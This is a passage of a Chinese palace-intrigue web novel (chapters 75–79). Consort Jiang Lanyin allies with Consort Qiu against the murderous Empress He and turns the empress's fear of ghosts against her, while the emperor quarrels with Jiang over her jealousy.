何皇后一句话打断,“这几个秀女,皇上千挑万选,就为了防着和本宫的母家扯上关系。” 说到此,她脸上黯然了一瞬。 当年,有庶姐在时,皇帝对何家,还不曾防备到这种程度! 皇帝……到底还是偏疼那个庶女多些! 素月:“可娘娘在宫中不能没有帮手。娘娘身份尊贵,有些事,不屑亲自去做。” 说白了,就是皇后需要听话,能替她咬人的狗。 去跟江澜因碰一碰。 素月眼珠微转,“不然……邱嫔呢?” 何皇后不语。 “邱嫔本是娘娘母家出来的,早年在贵妃身边伺候过。她的父母家人,都在娘娘手里捏着。咱们若抬举她得宠,不怕她不听话。” “她不成。” 何皇后冷道:“贵妃还没咽气呢,她就耐不住性子,爬了龙床。这样不忠的奴婢,本宫恨不得处死她!” 这么多年,有皇帝看在贵妃面子上护着,邱嫔才得以活命。 何皇后:“抬举谁,本宫也不会抬举她!” 另一边。 江澜因向眼前人含笑道:“邱嫔姐姐,一道回宫,可顺路?” 邱嫔与纯妃同居咸福宫,与江澜因的翊坤宫根本不顺道。 她却点点头:“好。” 两人相伴而行。邱嫔先开口:“妹妹好福气。只是,这样不藏锋,不怕得罪了皇后娘娘?” “怕也已经得罪过了。” 江澜因笑笑,“姐姐久居宫中,应该听说过,早在赏花宴……不,还在那之前,皇后娘娘就不喜我。对一个不喜自己之人,再怎么讨好,也是枉然。为何要平白受那些闲气?” 邱嫔抬头,看了江澜因一眼。 她掩唇笑道:“妹妹倒想得开,是个妙人儿。” “倒是姐姐你,姐姐早先是前头何贵妃身边第一等的大宫女,自贵妃未出阁就陪伴在她身边。” 听了江澜因这话,邱嫔双肩微垂,眼中闪过一道黯光。 这宫中,谁不知她是在贵妃病弱临产时爬床? 背后里都骂她是贱婢,瞧不起她。 不想,江澜因竟问道:“不知姐姐如今的家人,都在何方?” 邱嫔猛地一愣,抬头,掩不住眼中精芒。 江澜因笑了,“邱姐姐,既然要结盟,咱们姐妹早早儿把话说开了,开诚布公岂不好?我要做宠妃,姐姐也要往上爬,从皇后手里把家人都救出来。邱姐姐,我说的,可对吗?” 邱嫔脸上柔和的神情收敛,露出铮铮棱角来。 她定定看着江澜因:“你如今得宠,在皇上跟前正是要风得风,要雨得雨的好时候。你要结盟,为何选我?” 两人走到梅树下。 又一阵风起,卷起碎雪和花瓣,纷纷扬扬落在两人头上、肩上。 江澜因伸手,捻起一枚花瓣,透过它,直视刺目的太阳。 漫不经心道:“因为……只有你和皇后,是死仇。不死不休。” 第75章 皇后怕鬼 第七十五章 皇后怕鬼 邱嫔姣好的容貌瞬间失血,苍白。她张了张口,却说不出话。 江澜因手中花瓣揉碎,“贵妃是何芙害死的吧?” 直呼何皇后闺名。 邱嫔瞳仁巨震,声音都嘶哑了,“你、你怎会知道?” “猜的。” 江澜因对她眨眨眼睛,“看姐姐的样子,我猜对了。” “你……” 心中万般滋味涌上来,似嗔,似怒,似怨恨,又似万般无奈的惆怅。 良久,邱嫔唇上才恢复了血色,她转开眼睛,“你……你真疯。这样的浑话,传出去,你必死无疑。” 语气淡淡的,江澜因却知道,这是好话,提醒她谨慎。 “多谢姐姐提点,我会小心。”江澜因盯着邱嫔不放,“皇上爱重贵妃,姐姐手中若有证据,早替贵妃报仇了。这么多年,皇后还好好的,说明姐姐你手里,什么都没有,仅凭猜测,对吗?” 邱嫔无奈点头,“是。” 她又道:“当年,贵妃娘娘在时,都不曾寻到她的证据,到底被她害了去……” 邱嫔沉浸在回忆中,万想不到,江澜因接下来的话竟是:“姐姐可要与皇上亲近?” 邱嫔:……? 江澜因的思路太过于跳脱,邱嫔有些受不住。缓了一息,才道:“妹妹如今是皇上心尖上的人,让出皇上,你舍得?” “没什么舍不得的。这宫中,就算盛宠如当年的贵妃,还不是要劝皇上雨露均沾?” 江澜因毫不在乎。 她只是要依附皇权活下去,活得好。 又不是真的喜欢皇上。 邱嫔摇头,“多谢妹妹美意,皇上不喜我,只怕妹妹白费工夫,也会暴露你我二人关系。” 她不愿意,江澜因没有强求。 说着话,已走到咸福宫门口。邱嫔要回去了。 她站定,定定看向江澜因,“她毒辣,谨慎,这么多年折在她手里的人命不少,却能做到不留把柄。她不好对付。” “我知道。” 前世,顾言泽登基,为了彰显自己仁孝,没把何皇后怎么样。 一直以天下奉养她。她好端端地活到了最后。 更助长何家的势力。门阀势重,人数众多,与民争利。天下百姓几乎不堪重负。 江澜因:“邱姐姐,你是何家出来的。” 说罢,也不逼问,静静等着邱嫔想好了再说。 片刻后,邱嫔:“我从前伺候樱小姐,与她不熟。不过……她小时候被惊吓过,很怕鬼。” 江澜因眼中锐光一闪。 是了…… 早年便听说过,贵妃死后,皇后也大病了一场。请了甘露寺的尼姑进宫念了三个月的渡亡经,方才好了。 外面都传说皇后与贵妃姊妹情深。 现在看来,皇后可能是被吓的。 江澜因脸上盈盈笑意,“多谢邱姐姐指点。我记下了。” 目送邱嫔回宫,春枝扶着江澜因离去。 她也不解,“小姐,这邱嫔不得宠,她家人还在皇后手里捏着。你不怕她和丽嫔一样,被皇后逼着害咱们?” “她不会的。” 江澜因笃定道。她知道,邱嫔对何皇后,是刻骨的恨意。 前世,顾言泽登基,奉何皇后为太后,阖宫跪倒,臣服。 唯有邱嫔,冒险陈情,在满宫人和顾言泽面前,说何皇后害死了贵妃,顾言泽的亲娘。 她声泪涕下,字字泣血,是觉得顾言泽这个何贵妃的亲生儿子,如今当了皇帝,一定会为生母报仇。 可是,没有。 顾言泽轻飘飘一句,“邱娘娘疯了。” 把人堵住嘴,拖了下去。 第二日,邱嫔死在了井里。 江澜因前世与邱嫔没打过交道。只觉得,她也有那么点子疯劲儿在身上,不管不顾地只为报仇。敢为了旧主,和皇后死磕,百折不回。 她喜欢这样的人。 春枝:“可,她说的,会是真的吗?” 江澜因狭促一笑,眼睛弯弯,“试试,不就知道了?” 皇后身子不适,依旧由贤妃操持贞贵嫔的册封礼。 隔日,这消息就传得满宫皆知。 身在东宫的顾言泽听说,特地唤了庞云来问究竟。 庞云运气好,那日没人供出他来,逃过一劫。 听太子又问江澜因,跪下劝道:“……殿下,非是小的办事不利,是那日……那日确是贞贵嫔娘娘请您去的,不想,竟遭人算计……” 那天,他被雪色叫进屋里。 亲耳听见江澜因说,请太子稍晚些时候来。 所有人都以为,太子去瑞福殿,是遭了丽嫔的算计。只有他知道,并非如此…… 可庞云一个小小冷宫侍卫,事情若一味严查下去,他难逃一死,只能把嘴牢牢闭着,再不敢提。 可太子对他全家有救命之恩,他不能不劝。 “殿下,娘娘已是皇上的贵嫔,不日就要举行册封典礼。据说贤妃娘娘因贞娘娘得宠,什么都用最好的,本是逾矩。可内务府报到皇上处,皇上却只是含笑点头。这是什么样的恩宠?殿下,您千万勿要再以卵击石了!” 这话,顾言泽全然听不进去。 “孤那日去瑞福殿,是因因唤孤去,她定是对孤有话要说。只是没想到丽嫔恶毒,孤一进去,还不及说话,就中了那毒,身不由己……不是因因的错,你勿要再说!” “至于,册封礼……” 顾言泽温润的眼底闪过一抹黯色。 行了册封礼,史书上会有记载,千载之下…… 谁都会知道,他顾言泽,大盛太子,未来的帝王,身边的皇后,唯一的爱妻…… 曾是他父皇的嫔妾! 这怎么行? 这岂不是……辱没了顾家历代先祖?更为后世,贻笑大方。 他爱因因…… 可他不能不孝! 因因……最懂事,不会在意这些虚名的。 顾言泽眼底的犹豫、纠结,如水面上泛起的涟漪,一闪而逝。再细看,是一片坚冰一般的宁静。 另一边。 翊坤宫装饰一新,迎来了它的新主人。 这是紫禁城中最轩敞、最奢华的殿宇之一。 光是庭院,就比瑞福殿整个殿宇大了五六倍。用金砖铺地,更栽种种奇珍,衬得庭院大而不旷,一步一景。 是天家富贵气象。 江澜因刚到门口,听得殿宇内有人声。 一女子娇俏的声音响起,“皇上,臣妾有些怕。” “贞姐姐会不会不喜臣妾啊?” 第76章 江澜因妒忌 第七十六章 江澜因妒忌 顾辰枭声音响起:“因因良善,你也很好。她不会的。” 江澜因身形转过照壁。 顾辰枭只觉眼前一亮。 小姑娘今日去给皇后请安,打扮得整齐。 身披一件玫瑰紫大氅,脖颈上朱红色毛领,愈发衬得脸颊莹润剔透,宛如珠玉一般。 头上简单的银簪。 因撞伤了额头,额前多戴了一枚紫锂辉水滴眉心坠,遮挡伤口。 规规矩矩的装扮,她行动间,却说不出的俏丽,妩媚。 江澜因:“给皇上请安。” “平身。” 随着声音,一只大手伸过来,扶江澜因起身,顺便把她拉到自己身边。 顾辰枭:“因因,不必多礼。翊坤宫你喜欢吗?” 江澜因抬头,只见皇帝身边,怯生生地立着黄贵人黄玉珠。 一瞬间的迟疑,显露在脸上。江澜因:“皇上?” 黄玉珠:“见过贞姐姐,玉珠给姐姐请安。” 顾辰枭挥了挥手,“你也起来。往后就是一家子姊妹。” 他又看向江澜因:“翊坤宫轩敞,朕怕你一个人住,孤单,害怕。让她来陪你。” 黄玉珠本和其他两个秀女一起住闻秋苑。 如今搬到翊坤宫,也算是从冷僻处搬到皇帝眼皮子底下。于她,是好事。 黄玉珠抬眼,飞快地看了江澜因一眼,又低头,往顾辰枭身后躲了躲。 顾辰枭:“因因?怎么不说话?不喜欢?” 刚才还热热闹闹的庭院,一瞬间静下来。 下人都不敢出声,替江澜因捏一把汗。 这翊坤宫,仅次于皇后的坤宁宫,先头何贵妃的咸福宫。若江澜因还说不喜欢,那可就是…… 不知足了。 皇帝不喜欢贪得无厌的女人。 江澜因开口,声音有些闷闷的,“臣妾以为……皇上叫臣妾一个人住。” “孩子话。”顾辰枭伸手轻拂江澜因发顶,“你是一宫主位。她来了,是伴你住。你有什么不悦意的?你和玉珠年龄相仿,好好儿相处。” 黄家是顾辰枭一手拔擢上来的。 这一届秀女,如无江澜因,黄家女儿本该是翘楚。 如今被江澜因夺了风头,皇帝总要给些补偿,安抚。 江澜因该懂事些。 皇帝:“因因,你去带玉珠看看她的西配殿。” 说罢拉着江澜因的手,就要与黄玉珠交握在一处。 黄玉珠抬头,飞快地看了江澜因一眼。眼中带着隐秘的,挑衅。 知道在皇帝面前,江澜因不敢怎么样,只能顺从。 江澜因缩回了手。 顾辰枭掌心一空,手指在虚空中攥了攥,什么都没握住。 再看江澜因时,皇帝已经皱起眉头,声音低沉,“因因。” 是警告。 庭院中的下人立刻跪了一地。 江澜因也跪下,脊背却倔强地挺直,“皇上,臣妾知罪。” 说罢,重重抽了一下鼻子,眼眶微红。 顾辰枭眉心拧起。 这是,委屈? 委屈就是根本不知罪! “贞贵嫔!”皇帝声音泛着冷,“你的嬷嬷没教过你,妒忌乃是后妃大罪?你的心胸,太狭隘了!” 不过是让黄玉珠住在翊坤宫西配殿而已。 江澜因若不喜欢她,大可免了她早晚请安,不见她。何苦委屈成这样? 倒好像是自己这个皇帝苛待了她! 提到周嬷嬷,江澜因摇头,“嬷嬷都教过的。” “既然教过,你是明知故犯!”皇帝见刚才还精神漂亮的小姑娘,此刻如霜打茄子一般,垂了头,语气也软了些,“你自己说,朕该如何罚你?” 一旁,黄玉珠眼眸微闪,开口便带着怯意。 “皇上千万勿要责罚姐姐!玉珠不要紧的,玉珠可以回闻秋苑去住。” “不必。” 黄玉珠的懂事,更衬出江澜因任性。 皇帝:“你就住西配殿。朕说出的话,岂能随意更改?” “是。” 黄玉珠娇怯应道,她咬唇,又劝:“皇上,姐姐她也只是,心里太在意您了。” 顾辰枭背着手,几乎要被气笑了。 这满宫嫔妃,哪个不在意他这个皇上? 怎么就偏偏江澜因,非要挂在脸上?别说一个小小黄玉珠,根本碍不着她什么。江澜因头上,还有四妃,还有皇后呢! 难道她也要妒忌,也容不下? 手指猛地攥紧,顾辰枭眼神冷下来。他想起了什么。 江澜因是他的妃妾。 可太子……太子对他说过,他这辈子只要江澜因一个,不要别人。 江澜因从了太子,她可以做太子妃,未来的皇后。 顾辰枭眸光扫在江澜因脸上。 “做朕的妃嫔,需和旁的女子一起服侍朕,是委屈你了?” 这话一出,连黄玉珠都站不住,只得跪下。“皇上,姐姐她,不是这个意思。她只是性子倔……” 皇帝看向黄玉珠,“怎么?” 黄玉珠脸上一白,“皇上,臣妾、臣妾……是胡说的。” “说。” 一个字,重逾千均。 压得黄玉珠纤细的身子抖了抖,只得开口道:“臣妾入宫那一日,姐姐就与引导嬷嬷冲突。其实……嬷嬷是尽责,姐姐也没错,只是……若能各退一步,也不必闹得难看了……” 她这话,说得语焉不详。 可顾辰枭若上心去查问,却又似乎样样儿都能对得上。 秀女入宫的时辰,险些因江澜因误了,是真的。她那日,也确和引导嬷嬷口角过几句。错,是没错。 可,不体面。 不大度。 江澜因……还是年纪太小,太不懂事了。 “贞贵嫔,念你是初犯,朕不罚你。你要记住,自己是翊坤宫主位,嫔位之首的第一人。你不可妒忌,不可不容人。玉珠从即日起,就住你的西配殿,你不可刁难她,不然,朕不饶你。” 说罢,皇帝拂袖而去。 春枝扶江澜因起身。 只听得耳边极轻的一声笑。 黄玉珠掩唇,“姐姐,既然皇上让妹妹住在西配殿,妹妹就自去了。姐姐你……好自为之。” 翊坤宫的西配殿,一样的奢华,轩敞。 日光透过支摘窗上雕的步步锦绣图,映在黄玉珠脸上。 她脸上笑意几乎要掩不住。 还以为江澜因得宠,有几分手段。没想到…… 她竟是个蠢的。 因为一点小事,得罪皇帝。这样的性子,往后有她苦头吃。 身边丫鬟却担忧:“皇上恼了贞贵嫔,只怕贞贵嫔会迁怒咱们,苛待小姐。” “无妨。” 黄玉珠脸上笑容落了些。 “皇后建议皇上将我挪来翊坤宫,就是为了跟贞贵嫔斗。我啊,还怕她没胆子苛待我呢。” “她越是苛待我,皇上越会护着我。且看吧,我会得宠。” 第77章 她在乎朕,才会妒忌 第七十七章 她在乎朕,才会妒忌 翊坤宫这一场故事报到何皇后耳中。 何皇后笑着,手中银针又准又稳,重重刺在手中一件已做好的圆领外袍上。 “还以为那江氏是个厉害的,不想也耐不住激,竟当着皇上的面儿发作起来。她这样的性子,纵得宠,也长不了。” “是。”素月忙凑趣,“还是娘娘好谋算,三言两语,就把事情办成了。” 何皇后面上笑影淡了些。 “也是皇上心里想抬举那黄氏,才被本宫说动。” 素月察言观色,忙道:“皇上再如何抬举黄家,也越不过娘娘母家去。再说,等将来,咱们的三殿下有大出息,也会提拔外家的。” “可不是?本宫的霖儿,是最好的。” 何皇后收了针线,拎起那件新制好的圆领袍抖了抖,“三年了,本宫三年没见霖儿,也不知他长高了没有,这衣裳还合不合身。” 她贵为皇后,唯一能叫她动针线的,就是为唯一的亲子制新衣。 做了三年,没派人送去封地,都留着。 就是为了等顾承霖有朝一日能回来。 太子已死,储君之位不能久悬。 霖儿,一定回得来! 御书房静悄悄的。 冷不防,顾辰枭猛地丢了一本奏折出来,重重砸在身前地下。 “浑写的什么东西!简直是废物!” 身旁伺候的苏忠远连忙拾起,一瞥之下,瞧见只是普普通通的请安折子,怎么就惹了皇帝动气? 他心里清楚,是因为江澜因。 皇帝在翊坤宫自找了些不痛快回来,可不就要发泄出来? 顾辰枭:“朕对这些人太宽纵了!纵得他们不知天高地厚!” 看似是骂上折的臣子,其实是骂江澜因。 江澜因是后妃,妒忌是大忌!宠妃妒忌,会扰得后宫不安宁。 皇帝:“朕要罚她,让她自己思过。她不知自己错在何处,朕不会再纵着她!” 满书房伺候的下人,大气都不敢喘。 没人敢应声。 顾辰枭:“小忠子,你把朕今日的话,告诉贞贵嫔去!” 苏忠远连忙跪下:“皇上御前的事,奴才不敢出去瞎说!皇上恕罪。” 知道苏忠远说得对,顾辰枭心中愈发憋得慌,“要你们有什么用?都是些废物!” 他拿重话说了江澜因。 现在都一个多时辰过去了,翊坤宫静悄悄的。 怎么没人告诉江澜因,这种情况该来主动找皇帝请罪?她就这么熬着?还是在等着,自己这个皇帝反去找她? “是朕娇纵她太过了!惯得她不懂规矩!” 顾辰枭看向视野中唯一的活人,苏忠远,“你说,朕如何罚她?” “皇上,奴才是、是个阉人,怎会知道……” 苏忠远满脸惊惶,做出苦相。 却一下子把顾辰枭对江澜因的不满,从皇帝觉得后妃无德,转到男人不解女人心思上。 顾辰枭正在气头上,竟顺着苏忠远的思路想下去。“别说是宫中,纵是寻常富贵人家,男子三妻四妾,岂不是常事?那靖威侯,自己都有好几房美妾!因因怎会不知?” 她入宫的时候,就该知道,她是妃妾。 皇帝无论多宠她,都不可能只有她一个人! 苏忠远忙道:“皇上,贞娘娘年纪小,怕是心里还转不过弯儿来。奴才未入宫时,邻家有个姐姐一早定亲与奴才表哥,她还未过门,奴才表哥跟旁的女子说话儿,她都要吃味耍脾气呢。” “此女善妒!”顾辰枭一锤定音,却忍不住问,“你表哥没休了她?” “岂会?”苏忠远瞪大眼睛,“表哥欣喜得很!急急忙忙,提前了半年把人娶到家里来呢。” “鸡毛蒜皮的小事,那女子都要妒忌,可见性情不好。你表哥不怕娶了她,家宅不宁?” “皇上啊,奴才的表哥一个白身,哪儿有什么家宅?他能娶到一个,已是烧高香。奴才表哥说,表嫂看着善妒,可那是因为女子心中眼中,都只有他一个,才格外在乎。” 是……在乎? 顾辰枭顿了顿。 他生在天家,长在深宫,平日接触的臣子,家中无不适三妻四妾。 就连太子说出,一生只要江澜因一个人这种话,皇帝都觉刺耳,听不惯。 竟忽略了世间更多的升斗小民,一世只娶一个妻房。 倒是真真正正的一生一代一双人。 生了这样的想法,自然不是后妃之德。 却是…… 人之常情。 顾辰枭靠在高背椅上,眸光闪了闪,“小忠子,依你的意思,你觉得朕该宽宥贞贵嫔?” 一句“自然”就要脱口而出。 苏忠远猛地顿住。 想起江澜因的话。 伴君如伴虎……若被皇帝怀疑,自己与江澜因有私下里有交接。自己折了没什么,却会平白害了主子。主子好不容易,才把路走顺。 苏忠远:“奴才不敢说。” “朕叫你说。” “若是依着奴才看,贞娘娘该罚抄写宫规百遍。” “哦?”这答案,顾辰枭似没想到,“为何?你不是说,她是因为心中在乎朕,才言行失措?” 这个苏忠远,竟不是特意替江澜因说话? 也对…… 江澜因一个小姑娘,进宫才几日?如何收买得了自己身边的御前太监? 是自己想多了。 苏忠远:“就算贞娘娘心中在乎殿下,可她是妃嫔,一言一行关乎天家的颜面。举止失措,就是该罚。这是规矩。” 皇帝顿了顿,突然朗声笑出来:“抄百遍太多了。传朕的旨意,着贞贵嫔抄写宫规一遍,没抄完之前,不许她出翊坤宫。” 罚得不重,却让满宫人都知道。 是皇帝敲打江澜因的手段。 他不许江澜因出翊坤宫,是夜,自己却去了。 总要看看小姑娘抄书,是不是边抄边委屈地抹眼泪吧?再好好儿掰开揉碎了给她讲清楚,以后不许她与自己这个皇帝莫名其妙置气! 不想,圣驾到了翊坤宫。 迎出来的,只有一个黄玉珠。 顾辰枭一顿,“贞贵嫔呢?” 莫不是太老实,忙着抄经,没写完不敢出来接驾? 抬眸望向正殿。 却见殿中烛光,瞬间都熄灭了。 抄书自然是抄不成了。难道…… 黄玉珠柔柔的声音响起:“皇上,姐姐今日一整日都没出来,白日里也不曾抄写宫规,怕不是身子不适?嫔妾真是担心。” 她试探着:“皇上可要去看看姐姐?” “也不知姐姐是不是还在生气。” 第78章 宠幸黄贵人 第七十八章 宠幸黄贵人 夜色中,皇帝面色微微发沉。 闹脾气,耍性子也要有个限度,江澜因如此,也有些……太不懂事了! 遍看阖宫上下,就算是性子一贯最刚强的何皇后,敢不敢与皇帝置气?敢不敢不出来迎接圣驾? 江澜因她岂敢?! 暗沉沉,无一丝灯光的正殿,一片寂静。 拒绝的意思很明显。 “不必去看她!”皇帝怒道:“朕是来看你的,与她无关!” 得了这一句,黄玉珠脸上的喜色几乎要掩饰不住。 “是、是……臣妾喜不自胜!” 西配殿内,灯烛火光莹莹。 黄玉珠身穿轻薄的淡青色纱衣,温柔恭顺地跟在皇帝身后。 皇帝这个时辰来,今夜该是她侍寝,跑不了。 黄玉珠一颗心噗通噗通直跳。 搬到翊坤宫,果然与皇帝亲近得多。 阖宫上下都知道她入宫第一日,就得了皇帝宠幸,起居注也是这么记载的。 可只有她和皇帝两人知道,那一夜,皇帝只是来略看看她,就走了。 是给黄家颜面。 不是喜欢她黄玉珠。 却让她枉担这个虚名。 今夜,终于能实实在在得宠…… 黄玉珠红晕上脸,不胜娇羞,“皇上累了一日,要不要……”就寝? “你可会弹唱?” 突如其来的一句,黄玉珠一愣。 她虽是庶女,也是黄家的小姐,弹唱那等取悦于人的技巧,她没学过。 “回皇上的话,嫔妾……不会。” 烛火微微一晃,映在皇帝眼底,他神情难辨。 顾辰枭:“舞呢?在家可学过?” “也、也不曾。” 黄玉珠只觉面颊发烫,“臣妾无才无德,让皇上失望了。” 顾辰枭:“太静,反而没有趣味。” 黄玉珠有些不解。侍寝不就是要安安静静的,不然,难道吵得满宫里知道? 她脸上还红着,身边宫女反应过来,扑通一声跪下:“回皇上、贵人的话,奴婢不才,曾在家乡学过俚曲。皇上不嫌,奴婢唱给皇上、贵人听。” 顾辰枭面色沉沉:“唱!” 听着宫女开腔,黄玉珠还有些微愣。可窥着顾辰枭,没有不悦要走的意思,又放下心来。 或许,皇上只是需要歌舞助兴。 可见对自己也是看重的。 可小曲儿唱了一首接着一首。 皇帝没有叫停的意思,只是眉头越皱越深。 是……不好听,不爱听? 还是…… 黄玉珠大着胆子望过去,只见皇帝板着脸,一言不发,竟是看着窗外…… 正殿的方向! 电光火石间,黄玉珠猛然意识到,皇帝真是要弄出些歌舞声响,叫贞贵嫔听!特意给她听的! 不尽的屈辱涌上心口。 皇上都已经进了她的西配殿,心里想的却还是江澜因! 拿她做筏子! 一次又一次! 可,为什么?凭什么? 这叫她如何能甘心? 纤细的手指在薄纱掩映下无声地攥紧,黄玉珠终于忍不住开口:“皇上累了,这曲儿就不唱了,可好?” 顾辰枭似刚想起屋里还有个黄玉珠。 他转过脸来,终是点了点头。 黄玉珠朝自己的宫女一颔首,那宫女退下去。 皇帝淡淡道:“就寝吧。” 他等了这么长时间,弄出这么大动静,江澜因浑然不觉!她……太过分了! 该罚! 皇帝狠了狠心,展开双手,“服侍朕更衣。” 黄玉珠心中狂喜,落定。她终于要侍寝了! 从今日起,做真真正正的宠妃! 纤细的指尖微颤着,攀上皇帝颌下襟扣,就要解开。 顾辰枭:“抖什么?你害怕?” 黄玉珠也很美,不次于其姐黄琳琅。皇帝心里知道,他抬举黄家女,是该宠幸她,给她父兄做脸。 可不知为何,看到黄玉珠这娇羞颤抖的模样,他心中想的竟是…… 此女惺惺作态。 不及因因许多。 黄玉珠动作微顿,“嫔妾是、是有些怕。” “怕朕欺负你?” “不、不是怕皇上,”黄玉珠脸颊红,眼眶也微微发红,有些委屈,又忍着,“嫔妾是怕,一腔欢喜服侍皇上歇下,姐姐来请皇上,皇上又要走。” 她说这话,是因为…… 皇帝有这样的前科! 西配殿离正殿一步之遥! 万一江澜因开窍了,又想皇帝了,借口头疼脑热来请皇帝,怎么办? 黄玉珠好容易侍寝,绝不能失了这个机会,成为满宫的笑柄。必须要把这种可能性,扼杀在摇篮里。 顾辰枭听明白了她的意思。 “你想得太多了。后妃不屑于使这种伎俩,朕今晚也不会走。” 他要是走了,江澜因怎么看他? 不就知道自己来这一趟,是为了她,黄玉珠只是筏子吗? 皇帝受不了这种念头,“朕答应你,今晚,陪你。” 得了皇帝金口玉言,黄玉珠一颗心终于落定。她含羞带怯,“嫔妾……多谢皇上。” 话音刚落。 殿外果然传来脚步声。 黄玉珠立刻红了眼眶,一副果然料到,十分伤心的模样。 “姐姐来请皇上了。皇上不必为玉珠惹姐姐不高兴,皇上还是去吧。” 欲擒故纵。 顾辰枭冷笑一声。 江澜因这是……看西配殿逐一熄了灯火,急了?终于知道派人来请? 可惜,晚了! 他这个皇帝,是不会去的! 明日一早,还要叫江澜因亲眼看着自己走出这翊坤宫!一眼都不睬她!她等着…… 顾辰枭开口:“没见到朕要就寝了?什么人也不见!” 他语气极重,该一句话就吓唬住门外的下人。 不想,那太监还是尖着嗓子,执意道:“皇上,求皇上垂怜!娘娘她、她出事了!” “呵……” 顾辰枭满眼都是冷意。 好啊,江澜因学会虚张声势了? 就在他眼皮子底下,出事?能出什么事儿? “朕说了,不见!” 顾辰枭扬声:“侍卫何在?把人拖出去!” 一旁,黄玉珠满脸喜色,娇羞地低着头,庆幸自己刚才大着胆子,说出的那一席话。 如今,江澜因再想抢皇上走,是不能够了! 今晚,没人能把皇帝从她黄玉珠的榻上抢走!天王老子来了,也不行! 门外一阵骚动。 可不过片刻,竟是自己的侍卫隔着帘子禀道:“皇上,这太监是坤宁宫的人。是皇后娘娘,皇后娘娘她……出事了。” 这厢声音太大,吵得正殿里都亮起了灯。 萤萤灯火照亮江澜因侧脸,她唇角勾起一个笑来,“是时候了,咱们也去看看皇后的热闹。” 她叫雪色在自己的寝衣外披上大氅,算着时间,冲出殿门。 颤声问道:“皇后娘娘怎么了?” 第79章 皇后心虚? 第七十九章 皇后心虚? 顾辰枭眼看着江澜因踉踉跄跄奔出。 远远地,他瞧见小姑娘眼眶微红,发丝有些凌乱,贴在额上。 下意识皱眉,她就这么跑出来,不怕受风? “贞贵嫔,回去!” 顾辰枭出口的语气极重,江澜因脚步猛地一滞。 她一双水汪汪的大眼睛遥遥望过来,眼神中的惊诧一闪而逝,剩下的全是委屈。盈盈欲碎。 “嫔妾见过皇上。” 江澜因跪在冰冷的金砖上,“是嫔妾的不是,未抄完宫规就擅自出来。嫔妾再也不敢了。” 声音十分恭顺,细听含着哭腔。 顾辰枭张了张口。他本想提醒江澜因夜深露重,可小姑娘先开口说了这一席话,他接下来的话,倒不好说了。 只得将错就错。 “贞贵嫔,你知道错了就好。还不快回去。” “……是。” 江澜因起身便要回宫。 黄玉珠追出来。她刚才做作阻拦,险些酿成大祸,生怕此事传到何皇后耳中,招惹皇后嫉恨。 见江澜因要走,黄玉珠眼珠微转,“皇上,也不知皇后娘娘这是怎么了。嫔妾和姐姐该去请安、侍疾。请皇上应允。” 把江澜因带到何皇后跟前,由她来承担皇后的怒火。 知道皇后不喜江澜因,皇帝本不愿答应。可看着江澜因的背影,孤零零一个人,好似要被偌大的翊坤宫吞没。 “因……贞贵嫔,等等!” 顾辰枭:“去换好了衣裳再来,随朕一起去看看皇后。” 坤宁宫,灯火通明。 内里却静悄悄的,宫女太监都蹑手蹑脚,不敢发出一丝声响。 皇帝来时,正见到林太医。 连太医都召了,可见事情不小,不是皇后耍性子。 顾辰枭眉心皱起:“怎么回事?” 林太医颤巍巍跪下,“回皇上的话,皇后娘娘一时魇住,睡梦中从榻上跌了下来,伤了小臂。微臣正要给娘娘开消肿化瘀药酒,还有阿胶凝神汤来。” “梦见了什么?吓成这样?” 林太医微微一滞,“这……娘娘没说,微臣不知。” 顾辰枭亲手掀起暖帘,“朕去看看。” 寝殿内,何皇后因手臂伤了,身上披着外衫,靠坐在榻上,头发也些许的凌乱。 不复平日里逼人的气势,显出几分脆弱来。 见到江澜因、黄玉珠两人,也未责备。自己低头含泪道: “臣妾惊扰皇上,臣妾罪该万死!” 摇曳的灯影下,何皇后脸色苍白,显见是真的吓着了。 顾辰枭坐在榻边,亲自查看了何皇后伤处,“皇后胆怯。从前还在潜邸时,白日里看了哪吒削骨还父析肉还母的折子戏,夜间还做噩梦呢。” 声音十分温柔,又是当着年轻嫔妃回忆潜邸旧事。 何皇后面上微微现出些血色,“皇上尽笑话臣妾。” 黄玉珠道:“皇后娘娘和皇上躞蹀情深,真叫嫔妾和贞姐姐艳羡。” 说罢,看江澜因一眼。 江澜因却一脸担忧,“娘娘,刚才太医说您是梦魇,才受了伤。这不是小事,敢问娘娘,梦见了什么?” 堂堂皇后,被一个梦吓成这样,折腾得阖宫不安。 传出去,叫人笑话。 何皇后眸色微沉,半真半假到:“贞贵嫔倒是关心本宫……本宫刚才,梦见了太子。” 在皇帝面前提到太子,是点出江澜因曾是太子准妃的身份,叫皇帝厌恶。 又能显出自己的慈母形象。 何皇后抬袖擦拭眼角,“皇上,臣妾梦见咱们的言儿心口全是血,孤零零的一个人……孩子在那一世里,无人陪伴,心里该多难受!” 为何无人陪伴?为何心里难受? 还不是因为自己的准妃被父皇夺了去! 皇后真希望皇帝能当场醒悟,把江澜因处死,给太子陪葬。 却没瞧见,这话一出,顾辰枭沉了脸色。 皇后的轻声啜泣声中,顾辰枭:“既是梦见言儿可怜,皇后又怎会吓着?” 江澜因挑了挑唇。 何皇后背脊瞬间绷紧! 她刚才,确是梦见了顾言泽,身披一件旧袍,身上血淋淋的,披散着头发,站在窗外冷冷看着她。 她为何害怕? 自然因为太子之死,就是出自她手! 她做的隐秘,参与此事的已全部被灭口,一个不留。更兼太子是她亲手养大,她越能扮演好一个痛失爱子、悲痛欲绝的好母亲,越不会有人怀疑她。 可,皇帝这话,是什么意思? 皇帝怀疑她? 一想到有这种可能性,皇后华丽外衫下,脊背瞬间被冷汗打湿。 “皇上,臣妾并非害怕,而是……悲痛,伤心……” 顾辰枭静静看着皇后。 素月连忙跪下,“皇上,皇后娘娘虽不说,可心中思念太子殿下,常常梦见,醒来就哭。人都瘦削了。太子殿下是娘娘亲自抚养长大的啊!” 她言辞恳切,顾辰枭神色松了几分。 最近,他一直追查此事。 确实没确凿证据指向皇后。 不该胡乱疑她。 顾辰枭一锤定音,“皇后是思念太子太过了。” 黄玉珠、江澜因异口同声:“是。皇后娘娘慈心。” 黄玉珠看了江澜因一眼,知道她是挑唆未成,腹中憋着笑。 她以为一句话,能挑唆得帝后反目?真是天真、愚蠢得可以。 江澜因满脸担忧,“娘娘忧思太重了。孙太医说娘娘吃阿胶凝神汤?那是滋阴潜阳,最是收惊安神的……” 顾辰枭为皇后盖被的手微微一顿,眼中的探究掩不住。 收惊安神?皇后……到底是吓到了。 可要真是思念死去的孩子,梦见了,怎会害怕? 除非,心虚。 